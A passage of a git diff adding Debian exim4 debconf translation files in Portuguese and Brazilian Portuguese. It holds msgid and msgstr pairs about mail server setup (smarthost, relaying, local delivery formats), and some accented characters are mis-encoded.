../exim4-config.templates:13001 +msgid "" +"Unsplit configuration is better suited for large modifications and is " +"generally more stable, whereas split configuration offers a comfortable way " +"to make smaller modifications but is more fragile and might break if " +"modified carelessly." +msgstr "" +"A configuração singular é mais apropriada para grandes modificações e é " +"geralmente mais estável, enquanto que a configuração dividida oferece uma " +"forma mais confortável de fazer pequenas modificações mas é mais frágil e " +"pode perder consistência se for modificada sem cuidado." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"A more detailed discussion of split and unsplit configuration can be found " +"in the Debian-specific README files in /usr/share/doc/exim4-base." +msgstr "" +"Pode ser encontrada uma discussão mais detalhada acerca da configuração " +"dividida e não-dividida em /usr/share/doc/exim4-base." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "Hide local mail name in outgoing mail?" +msgstr "Esconder o nome de mail local no mail a enviar?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "" +"The headers of outgoing mail can be rewritten to make it appear to have been " +"generated on a different system. If this option is chosen, '${mailname}', " +"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" +"Path are rewritten." +msgstr "" +"Os cabeçalhos do mail a enviar podem ser re-escritos para parecerem que " +"foram gerados num sistema diferente. Se esta opção for escolhida são re-" +"escritos '${mailname}' 'localhost' e '${dc_other_hostnames}' nos campos " +"From, Reply-To, Sender e Return-Path." + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "mbox format in /var/mail/" +msgstr "formato mbox em /var/mail/" + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "Maildir format in home directory" +msgstr "Formato Maildir no directório home" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "Delivery method for local mail:" +msgstr "Método de entrega para o mail local:" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Exim is able to store locally delivered email in different formats. The most " +"commonly used ones are mbox and Maildir. mbox uses a single file for the " +"complete mail folder stored in /var/mail/. With Maildir format every single " +"message is stored in a separate file in ~/Maildir/." +msgstr "" +"O Exim pode guardar mail entregue localmente em diferentes formatos. Os mais " +"vulgarmente utilizados são mbox e Maildir. mbox utiliza um único ficheiro " +"para todo o directório de mail guardado em /var/mail. Com o formato Maildir " +"cada mensagem é guardada num ficheiro em ~/Maildir/." + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Please note that most mail tools in Debian expect the local delivery method " +"to be mbox in their default." +msgstr "" +"Por favor note, que em Debian, a maioria das ferramentas de mail esperam que " +"o método de entrega local, por omissão, seja mbox." + +#~ msgid "Move undelivered mails from exim 3 to exim4 spool?" +#~ msgstr "Mover mails ainda não entregues do exim 3 para o spool do exim4?" + +#~ msgid "" +#~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool " +#~ "directory /var/spool/exim/input/." +#~ msgstr "" +#~ "Existem alguns mails por entregar no directório de spool do exim 3 (ou no " +#~ "exim-tls 3) /var/spool/exim/input/." + +#~ msgid "" +#~ "Choosing this option will move these messages to exim4's spool (/var/" +#~ "spool/exim4/input/) where they will be handled by exim4." +#~ msgstr "" +#~ "Escolher esta opção irá mover estas mensagens para o spool do exim4 (/var/" +#~ "spool/exim4/input/) onde serão geridas pelo exim4." + +#~ msgid "" +#~ "This works only one-way: Exim4 can handle Exim 3 spool but not vice-" +#~ "versa. If you reject this option, you need to move the messages yourself " +#~ "or they will never be delivered." +#~ msgstr "" +#~ "Isto funciona apenas num sentido: o Exim4 pode lidar com o spool do exim " +#~ "3 mas não o contrário. Se rejeitar esta opção, tem de mover você mesmo as " +#~ "mensagens ou estas nunca serão entregues." + +#~ msgid "Leaving this list blank will have Exim do no local deliveries." +#~ msgstr "" +#~ "Deixar esta lista vazia fará com que o Exim não faça entregas locais." + +#~ msgid "" +#~ "This works only one-way: exim4 can handle exim(v3)'s spool but not vice-" +#~ "versa." +#~ msgstr "" +#~ "Funciona apenas num único sentido: o exim4 pode lidar com o spool do exim" +#~ "(v3) mas o contrário não é possÃvel." + +#~ msgid "" +#~ "So it is only advisable to move the messages only if it is not planned to " +#~ "go back to Exim(v3). If a rollback might be necessary, it is a better " +#~ "idea to refrain from moving the messages now but moving them manually at " +#~ "a later time." +#~ msgstr "" +#~ "Por isso é aconselhável mover as mensagens apenas se não estiver planeado " +#~ "voltar ao Exim(v3). Se um retorno for necessário, é uma boa ideia conter-" +#~ "se em mudar já as mensagens agora mas sim movê-las depois manualmente" + +#~ msgid "" +#~ "Domains listed here need to be separated by semicolons. Wildcards may be " +#~ "used." +#~ msgstr "" +#~ "Os domÃnios aqui listados têm de estar separados por um ponto-e-vÃrgula. " +#~ "'Wildcards' podem ser utilizados." + +#~ msgid "" +#~ "Move the mails only if you don't plan to go back to exim(v3), otherwise " +#~ "the mail shouldn't be moved now but manually once you've converted your " +#~ "setup." +#~ msgstr "" +#~ "Mova os mails apenas se não pretender voltar ao exim(v3), ou, caso " +#~ "contrário, os mails não deverão ser movidos agora mas sim manualmente " +#~ "assim que sua instalação for convertida." + +#, fuzzy +#~ msgid "" +#~ "If there are any more, enter them here, separated by semicolons. You may " +#~ "leave this blank if there are none." +#~ msgstr "" +#~ "Caso existam mais, introduza-os aqui, separados por dois pontos. Pode " +#~ "deixar este valor em branco caso não existam mais." + +#, fuzzy +#~ msgid "" +#~ "Please enter here the domains for which this system will relay mail, for " +#~ "example as a fallback MX or mail gateway." +#~ msgstr "" +#~ "Por favor introduza os domÃnios para os quais você aceitará fazer relay " +#~ "de mail." + +#~ msgid "" +#~ "Such domains are domains for which you are prepared to accept mail from " +#~ "anywhere on the Internet. Do not mention local domains here." +#~ msgstr "" +#~ "Tais domÃnios são domÃnios para os quais está preparado para aceitar mail " +#~ "originado de qualquer local na Internet. Não mencione domÃnios locais " +#~ "aqui." + +#~ msgid "" +#~ "Since you enabled hiding the local mailname in outgoing mail, you must " +#~ "specify the domain name to use for mail from local users; typically this " +#~ "is the machine on which you normally receive your mail." +#~ msgstr "" +#~ "Uma vez que escolheu esconder o nome de mail local no mail a enviar, deve " +#~ "especificar o nome de domÃnio a ser usado nos mails enviados por " +#~ "utilizadores locais; tipicamente este nome é o nome da máquina na qual " +#~ "recebe normalmente suas mensagens." + +#~ msgid "Where will your users read their mail?" +#~ msgstr "Onde irão os seus utilizadores ler o mail?" + +#~ msgid "Machine handling outgoing mail for this host (smarthost):" +#~ msgstr "" +#~ "Máquina que gere a entrega final do mail para este host (smarthost):" + +#~ msgid "Enter the hostname of the machine to which outgoing mail is sent." +#~ msgstr "" +#~ "Introduza o hostname da máquina para a qual o mail enviado será enviado." + +#~ msgid "" +#~ "Mail for the \"postmaster\", \"root\", and other system accounts is " +#~ "usually redirected to the user account of the actual system " +#~ "administrator. If you leave this value empty, such mail will be saved in /" +#~ "var/mail/mail, which is not recommended. Note that postmaster's mail " +#~ "should be read on the system to which it is directed, rather than being " +#~ "forwarded elsewhere, so (at least one of) the users you choose should not " +#~ "redirect their mail off this machine. Use a \"real-\" prefix to force " +#~ "local delivery." +#~ msgstr "" +#~ "As mensagens para o \"postmaster\", \"root\", e outras contas de sistema " +#~ "é normalmente redireccionado para a conta de utilizador do administrador " +#~ "do sistema actual. Se deixar este valor vazio, as mensagens serão " +#~ "guardadas em /var/mail/mail, o que não é recomendado. De notar que as " +#~ "mensagens para o postmaster devem ser lidas no sistema para o qual são " +#~ "dirigidas, em vez de serem redireccionada para outro lado, portanto (pelo " +#~ "menos um) os utilizadores que escolher não devem ter as mensagens " +#~ "redireccionadas para fora desta máquina. Utilize um prefixo \"real-\" " +#~ "para forçar a distribuição local." + +#~ msgid "" +#~ "Enable this feature if you are using Dial-on-Demand; otherwise, disable " +#~ "it." +#~ msgstr "" +#~ "Active esta funcionalidade caso esteja a usar Dial-on-Demand; Caso " +#~ "contrário, desactive-a." + +#, fuzzy +#~ msgid "Select the mail server configuration type that best fits your needs." +#~ msgstr "" +#~ "Seleccione o tipo de configuração que melhor se adequa à s suas " +#~ "necessidades." + +#~ msgid "If you are unsure then you should not use split configuration." +#~ msgstr "" +#~ "Se estiver com dúvidas não deve escolher para dividir a configuração." + +#~ msgid "manually convert from handcrafted Exim v3 configuration" +#~ msgstr "converter manualmente de uma configuração manual do Exim v3" + +#~ msgid "Configure Exim4 manually?" +#~ msgstr "Configurar Exim4 manualmente?" + +#~ msgid "" +#~ "You indicated that you have a handcrafted Exim 3 configuration. To " +#~ "convert this to Exim 4, you can use the exim_convert4r4(8) tool after the " +#~ "installation. Consult /usr/share/doc/exim4-base/examples/example.conf.gz " +#~ "and /usr/share/doc/exim4-base/README.Debian.gz!" +#~ msgstr "" +#~ "Indicou que possui uma configuração manual do Exim 3. Para convertê-la " +#~ "para o Exim 4 pode usar a ferramenta exim_convert4r4(8) depois da " +#~ "instalação.Consulte os ficheiros /usr/share/doc/exim4-base/examples/" +#~ "example.conf.gz e /usr/share/doc/exim4-base/README.Debian.gz!" + +#~ msgid "" +#~ "Until your mail system is configured, it will be broken and cannot be " +#~ "used." +#~ msgstr "" +#~ "Enquanto o sistema de mail não estiver configurado, não poderá ser usado." + +#~ msgid "" +#~ "Your \"mail name\" is the hostname portion of the address to be shown on " +#~ "outgoing news and mail messages (following the username and @ sign) " +#~ "unless hidden with rewriting." +#~ msgstr "" +#~ "O \"mail name\" (nome do sistema de mail) é a parte do nome do sistema " +#~ "(hostname) do endereço que será exibido em mensagens de e-mail (após o " +#~ "nome de utilizador e o sÃmbolo @) a não ser que esteja escondido por " +#~ "reescrita de cabeçalhos." + +#~ msgid "" +#~ "Please enter here the networks of local machines for which you accept to " +#~ "relay the mail." +#~ msgstr "" +#~ "Por favor introduzir aqui as redes de máquinas locais para as quais " +#~ "aceita fazer relay de mensagens." + +#~ msgid "" +#~ "This should include a list of all machines that will use us as a " +#~ "smarthost." +#~ msgstr "" +#~ "Aqui deve conter a lista de todas as máquinas que nos irão usar como " +#~ "smarthost." + +#~ msgid "" +#~ "You need to double the colons in IPv6 addresses (e.g. " +#~ "5f03::1200::836f::::/48)" +#~ msgstr "" +#~ "Precisa de duplicar a quantidade de dois pontos em endereços IPv6 (por " +#~ "exemplo, 5f03::1200::836f::::/48)" + +#~ msgid "" +#~ "Enter a colon-separated list of IP-addresses to listen on. You need to " +#~ "double the colons in IPv6 addresses (e.g. 5f03::1200::836f::::)." +#~ msgstr "" +#~ "Introduza uma lista separada por dois pontos contendo endereços IP nos " +#~ "quais pretende esperar por ligações SMTP. Precisa de duplicar a " +#~ "quantidade de dois pontos caso use endereços IPv6 (por exemplo, " +#~ "5f03::1200::836f::::)." + +#~ msgid "Configuring Exim v4 (exim4-config)" +#~ msgstr "A configurar o Exim v4 (exim-config)" + +#~ msgid "" +#~ "If you are configuring this system without local mail delivery this name " +#~ "won't appear on From: lines of mail, as rewriting is used." +#~ msgstr "" +#~ "Se estiver a configurar este sistema sem distribuição de mail local este " +#~ "nome não irá aparecer nas linhas From: do mail, uma vez que técnicas de " +#~ "reescrita são usadas." + +#~ msgid "" +#~ "Obviously, any machines that use us as a smarthost have to be excluded " +#~ "from the relaying controls, as using us to relay mail for them is the " +#~ "whole point." +#~ msgstr "" +#~ "Obviamente, quaisquer máquinas que nos utilizem como um smarthost " +#~ "precisam de ser excluÃdas dos controlos de relaying, uma vez que usar-nos " +#~ "para fazer relay de mail é a idéia de um smarthost." + +#~ msgid "" +#~ "Mail for the \"postmaster\" and \"root\" accounts is usually redirected " +#~ "to one or more user accounts of the actual system administrators. The " +#~ "default is to set things up so that mail for \"postmaster\" and for " +#~ "various system accounts is redirected to \"root\", and mail for \"root\" " +#~ "is redirected to a real user. This can be changed by editing /etc/" +#~ "aliases." +#~ msgstr "" +#~ "O mail para as contas \"postmaster\" e para o \"root\" são normalmente " +#~ "redirecionado para uma ou mais contas de utilizador dos administradores " +#~ "do sistema actuais. O padrão é configurar os redirecionamentos para que o " +#~ "mail para a conta \"postmaster\" e para as várias contas de sistema seja " +#~ "redirecionado para a conta \"root\" e o mail para a conta \"root\" seja " +#~ "redirecionado para um utilizador real, Isto pode ser mudado através da " +#~ "edição do arquivo /etc/aliases." + +#~ msgid "" +#~ "System administrator mail goes to which user accounts? Enter one or more " +#~ "usernames separated by spaces or commas. Enter \"none\" if you do not " +#~ "want to redirect the mail. - NB this is strongly discouraged. Exim cannot " +#~ "run deliveries as root and will save the mail to /var/mail/mail Also, " +#~ "note that usernames should be lowercase!" +#~ msgstr "" +#~ "O mail para o administrador do sistema será entregue para quais contas de " +#~ "utilizador? Introduza um ou mais nomes de utilizadores separados por " +#~ "espaços ou vÃrgulas. Introduza \"none\" caso não pretenda redirecionar o " +#~ "mail - não é de todo recomendado. O Exim não pode executar entregas como " +#~ "root e irá gravar as mensagens em /var/mail/mail. De notar também que os " +#~ "nomes de utilizadores devem ser escritos em letras minúsculas!" diff --git a/debian/po/pt_BR.po b/debian/po/pt_BR.po new file mode 100644 index 0000000..a4eb529 --- /dev/null +++ b/debian/po/pt_BR.po @@ -0,0 +1,673 @@ +# exim4's Brazilian Portuguese debconf template translation. +# Copyright (C) 2006, André LuÃs Lopes. +# Copyright (C) 2008, Felipe Augusto van de Wiel. +# This file is distributed under the same license as the exim4 package. +# André LuÃs Lopes <andrelop@debian.org>, 2006. +# Herbert Parentes Fortes Neto <h_p_f_n@yahoo.com.br>, 2007 +# Felipe Augusto van de Wiel (faw) <faw@debian.org>, 2008. +# +msgid "" +msgstr "" +"Project-Id-Version: exim4\n" +"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" +"POT-Creation-Date: 2007-07-18 08:29+0200\n" +"PO-Revision-Date: 2008-06-09 02:04-0300\n" +"Last-Translator: Felipe Augusto van de Wiel (faw) <faw@debian.org>\n" +"Language-Team: Brazilian Portuguese <debian-l10n-portuguese@lists.debian." +"org>\n" +"Language: pt_BR\n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"pt_BR utf-8\n" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "Remove undelivered messages in spool directory?" +msgstr "Remover mensagens não entregues no diretório de spool?" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"There are e-mail messages in the Exim spool directory /var/spool/exim4/" +"input/ which have not yet been delivered. Removing Exim will cause them to " +"remain undelivered until Exim is re-installed." +msgstr "" +"Existem mensagens no diretório de spool do exim, /var/spool/exim4/input que " +"ainda não foram entregues. Remover o Exim fará com que as mesmas permaneçam " +"não entregues até que o Exim seja reinstalado." + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"If this option is not chosen, the spool directory is kept, allowing the " +"messages in the queue to be delivered at a later date after Exim is re-" +"installed." +msgstr "" +"Se esta opção não for escolhida, o diretório de spool será mantido, " +"permitindo que as mensagens na fila sejam entregues posteriormente, após a " +"reinstalação do Exim." + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "Reconfigure exim4-config instead of this package" +msgstr "Reconfigure o pacote exim4-config ao invés deste pacote" + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "" +"Exim4 has its configuration factored out into a dedicated package, exim4-" +"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." +msgstr "" +"O Exim4 possui sua configuração separada em um pacote dedicado, o pacote " +"exim4-config. Para reconfigurar o Exim4, utilize o comando 'dpkg-reconfigure " +"exim4-config'." + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "internet site; mail is sent and received directly using SMTP" +msgstr "site internet; mensagens são enviadas/recebidas diretamente via SMTP" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; received via SMTP or fetchmail" +msgstr "mensagens enviadas por \"smarthost\"; recebidas por SMTP ou fetchmail" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; no local mail" +msgstr "mensagens enviadas por \"smarthost\"; nenhuma mensagem local" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "local delivery only; not on a network" +msgstr "somente entrega local; fora de uma rede" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "no configuration at this time" +msgstr "sem configuração no momento" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "General type of mail configuration:" +msgstr "Tipo geral de configuração de e-mail:" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Please select the mail server configuration type that best meets your needs." +msgstr "" +"Por favor, selecione o tipo de configuração de servidor de mensagens que " +"melhor atenda as suas necessidades." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Systems with dynamic IP addresses, including dialup systems, should " +"generally be configured to send outgoing mail to another machine, called a " +"'smarthost' for delivery because many receiving systems on the Internet " +"block incoming mail from dynamic IP addresses as spam protection." +msgstr "" +"Sistemas com endereços IP dinâmicos, incluindo sistemas com conexão discada, " +"provavelmente deverão ser configurados para enviar mensagens para uma outra " +"máquina, conhecida como \"smarthost\", para que as mesmas possam ser " +"entregues devido a muitos sistemas de recepção de mensagens na Internet " +"bloquearem mensagens que são enviadas a partir de endereços IP dinâmicos " +"como uma proteção contra spam." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"A system with a dynamic IP address can receive its own mail, or local " +"delivery can be disabled entirely (except mail for root and postmaster)." +msgstr "" +"Um sistema com um endereço IP dinâmico pode receber suas próprias mensagens " +"ou a entrega local pode ser desabilitada totalmente (exceto as mensagens " +"para o root e para o postmaster)." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "Really leave the mail system unconfigured?" +msgstr "Realmente deixar o sistema de mensagens não configurado?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "" +"Until the mail system is configured, it will be broken and cannot be used. " +"Configuration at a later time can be done either by hand or by running 'dpkg-" +"reconfigure exim4-config' as root." +msgstr "" +"Até o sistema de mensagens ser configurado, ele ficará quebrado e não poderá " +"ser usado. A configuração posterior poderá ser feita manualmente ou " +"executando o comando 'dpkg-reconfigure exim4-config' como root." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "System mail name:" +msgstr "Nome do sistema de mensagens:" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"The 'mail name' is the domain name used to 'qualify' mail addresses without " +"a domain name." +msgstr "" +"O 'nome do sistema de mensagens' é o nome de domÃnio usado para \"qualificar" +"\" os endereços de mensagens sem um nome de domÃnio." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name will also be used by other programs. It should be the single, " +"fully qualified domain name (FQDN)." +msgstr "" +"Este nome também será usado por outros programas. Ele deverá ser um nome de " +"domÃnio completo e único (FQDN)." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"Thus, if a mail address on the local host is foo@example.org, the correct " +"value for this option would be example.org." +msgstr "" +"Assim, caso um endereço de e-mail na máquina local seja foo@exemplo.com.br, " +"o valor correto para esta opção seria exemplo.com.br." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name won't appear on From: lines of outgoing messages if rewriting is " +"enabled." +msgstr "" +"Este nome não aparecerá nas linhas From: das mensagens enviadas caso a " +"reescrita seja habilitada." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "Other destinations for which mail is accepted:" +msgstr "Outros destinos para os quais mensagens devem ser aceitas:" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"machine should consider itself the final destination. These domains are " +"commonly called 'local domains'. The local hostname (${fqdn}) and " +"'localhost' are always added to the list given here." +msgstr "" +"Por favor, informe uma lista de domÃnios de destino separados por ponto e " +"vÃrgula para os quais esta máquina deve se considerar como o destino final. " +"Esses domÃnios são normalmente chamados \"domÃnios locais\". O nome da " +"máquina local (${fqdn}) e \"localhost\" são sempre adicionados à lista " +"informada aqui." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"By default all local domains will be treated identically. If both a.example " +"and b.example are local domains, acc@a.example and acc@b.example will be " +"delivered to the same final destination. If different domain names should be " +"treated differently, it is necessary to edit the config files afterwards." +msgstr "" +"Por padrão, todos os domÃnios locais serão tratados de forma idêntica. Se " +"ambos a.exemplo e b.exemplo são domÃnios locais, mensagens para acc@a." +"exemplo e acc@b.exemplo serão entregues para o mesmo destino final. Se nomes " +"de domÃnio diferentes precisam ser tratados de forma diferente, será " +"necessário editar arquivos de configuração posteriormente." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Domains to relay mail for:" +msgstr "DomÃnios para os quais fazer \"relay\":" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"system will relay mail, for example as a fallback MX or mail gateway. This " +"means that this system will accept mail for these domains from anywhere on " +"the Internet and deliver them according to local delivery rules." +msgstr "" +"Por favor, informe uma lista de domÃnios de destino separados por ponto e " +"vÃrgula para os quais este sistema fará \"relay\" de mensagens, por exemplo, " +"como um MX secundário ou como um gateway de mensagens. Isso significa que " +"este sistema aceitará mensagens para esses domÃnios de qualquer lugar na " +"Internet e as entregará de acordo com as regras de entrega locais." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Do not mention local domains here. Wildcards may be used." +msgstr "Não mencione domÃnios locais aqui. Curingas podem ser usados." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "Machines to relay mail for:" +msgstr "Máquinas para as quais fazer \"relay\":" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"Please enter a semicolon-separated list of IP address ranges for which this " +"system will unconditionally relay mail, functioning as a smarthost." +msgstr "" +"Por favor, informe uma lista de faixas de endereços IP separados por ponto e " +"vÃrgula para os quais este sistema fará \"relay\" de mensagens " +"incondicionalmente, atuando como um \"smarthost\"." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " +"5f03:1200:836f::/48)." +msgstr "" +"Você deverá usar o formato padrão endereço/prefixo (e.g., 194.222.242.0/24 " +"ou 5f03:1200:836f::/48)." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"If this system should not be a smarthost for any other host, leave this list " +"blank." +msgstr "" +"Se este sistema não deve ser um \"smarthost\" para nenhum outro host, " +"mantenha esta lista em branco." + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "Visible domain name for local users:" +msgstr "Nome de domÃnio visÃvel para usuários locais:" + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "" +"The option to hide the local mail name in outgoing mail was enabled. It is " +"therefore necessary to specify the domain name this system should use for " +"the domain part of local users' sender addresses." +msgstr "" +"A opção para ocultar o nome de domÃnio local em mensagens enviadas foi " +"habilitada. Portanto, é necessário especificar o nome de domÃnio que este " +"sistema deverá usar para a parte do domÃnio dos endereços de remetente dos " +"usuários locais." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "IP address or host name of the outgoing smarthost:" +msgstr "Endereço IP ou nome de máquina do \"smarthost\" de saÃda:" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"Please enter the IP address or the host name of a mail server that this " +"system should use as outgoing smarthost. If the smarthost only accepts your " +"mail on a port different from TCP/25, append two colons and the port number " +"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " +"IPv6 addresses need to be doubled." +msgstr "" +"Por favor, informe uma lista de endereços IP ou nomes de máquinas que este " +"servidor deverá utilizar como \"smarthost\" de saÃda. Se o \"smarthost\" só " +"aceita suas mensagens em uma porta diferente da porta TCP/25, inclua dois " +"dois pontos e o número da porta (por exemplo, smarthost.exemplo::587 ou " +"192.168.254.254::2525). Dois pontos em endereços IPv6 precisam ser " +"duplicados." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"If the smarthost requires authentication, please refer to the Debian-" +"specific README files in /usr/share/doc/exim4-base for notes about setting " +"up SMTP authentication." +msgstr "" +"Se o \"smarthost\" requer autenticação, por favor, consulte os arquivos " +"README especÃficos do Debian em /usr/share/doc/exim4-base para notas sobre " +"como configurar a autenticação SMTP." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Root and postmaster mail recipient:" +msgstr "Destinatário das mensagens para root e postmaster:" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Mail for the 'postmaster', 'root', and other system accounts needs to be " +"redirected to the user account of the actual system administrator." +msgstr "" +"Mensagens para 'postmaster', 'root' e outras contas de sistema precisam ser " +"redirecionadas para a conta de usuário do verdadeiro administrador do " +"sistema." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"If this value is left empty, such mail will be saved in /var/mail/mail, " +"which is not recommended." +msgstr "" +"Caso este valor seja deixado em branco, tais mensagens serão gravadas em /" +"var/mail/mail, o que não é recomendado." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Note that postmaster's mail should be read on the system to which it is " +"directed, rather than being forwarded elsewhere, so (at least one of) the " +"users listed here should not redirect their mail off this machine. A 'real-' " +"prefix can be used to force local delivery." +msgstr "" +"Note que as mensagens para o postmaster deverão ser lidas no sistema para o " +"qual as mesmas são direcionadas ao invés de serem encaminhadas para qualquer " +"outro lugar, portanto, os usuários (ou pelo menos um deles) listados aqui " +"não deverão redirecionar suas mensagens para fora desta máquina. Um prefixo " +"\"real-\" pode ser usado para forçar a entrega local." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Multiple user names need to be separated by spaces." +msgstr "Múltiplos nomes de usuários precisam ser separados por espaços." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "IP-addresses to listen on for incoming SMTP connections:" +msgstr "Lista de endereços IP nos quais escutar por conexões SMTP:" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"Please enter a semicolon-separated list of IP addresses. The Exim SMTP " +"listener daemon will listen on all IP addresses listed here." +msgstr "" +"Por favor, informe uma lista de endereços IP separados por ponto e vÃrgula. " +"O daemon do Exim aguardará por requisições em todos os endereços IP listados " +"aqui." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"An empty value will cause Exim to listen for connections on all available " +"network interfaces." +msgstr "" +"Um valor em branco fará com que o Exim ouça por conexões em todas as " +"interfaces de rede disponÃveis." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"If this system only receives mail directly from local services (and not from " +"other hosts), it is suggested to prohibit external connections to the local " +"Exim daemon. Such services include e-mail programs (MUAs) which talk to " +"localhost only as well as fetchmail. External connections are impossible " +"when 127.0.0.1 is entered here, as this will disable listening on public " +"network interfaces." +msgstr "" +"Se este sistema só recebe mensagens diretamente de serviços locais (e não a " +"partir de outras máquinas), sugere-se proibir conexões externas ao daemon " +"Exim local. Tais serviços incluem programas de e-mail (MUAs) que conversem " +"somente com o localhost assim como o fetchmail. Conexões externas são " +"impossÃveis quando 127.0.0.1 é informado aqui, pois isto desabilitará a " +"escuta em interfaces de rede públicas." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" +msgstr "Manter o número de pesquisas DNS mÃnimas (Discagem-sob-Demanda)?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"In normal mode of operation Exim does DNS lookups at startup, and when " +"receiving or delivering messages. This is for logging purposes and allows " +"keeping down the number of hard-coded values in the configuration." +msgstr "" +"No modo normal de operação, o Exim executa pesquisas DNS na inicialização e " +"quando está recebendo ou entregando mensagens. Isto é feito para propósitos " +"de registro em log e para manter baixo o número de valores codificados " +"manualmente na configuração." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"If this system does not have a DNS full service resolver available at all " +"times (for example if its Internet access is a dial-up line using dial-on-" +"demand), this might have unwanted consequences. For example, starting up " +"Exim or running the queue (even with no messages waiting) might trigger a " +"costly dial-up-event." +msgstr "" +"Se este sistema não possui um serviço de resolução DNS completo disponÃvel a " +"todo momento (por exemplo, caso o acesso à Internet do mesmo seja discado " +"usando discagem-sob-demanda), isto pode trazer consequências indesejadas. " +"Por exemplo, iniciar o Exim ou 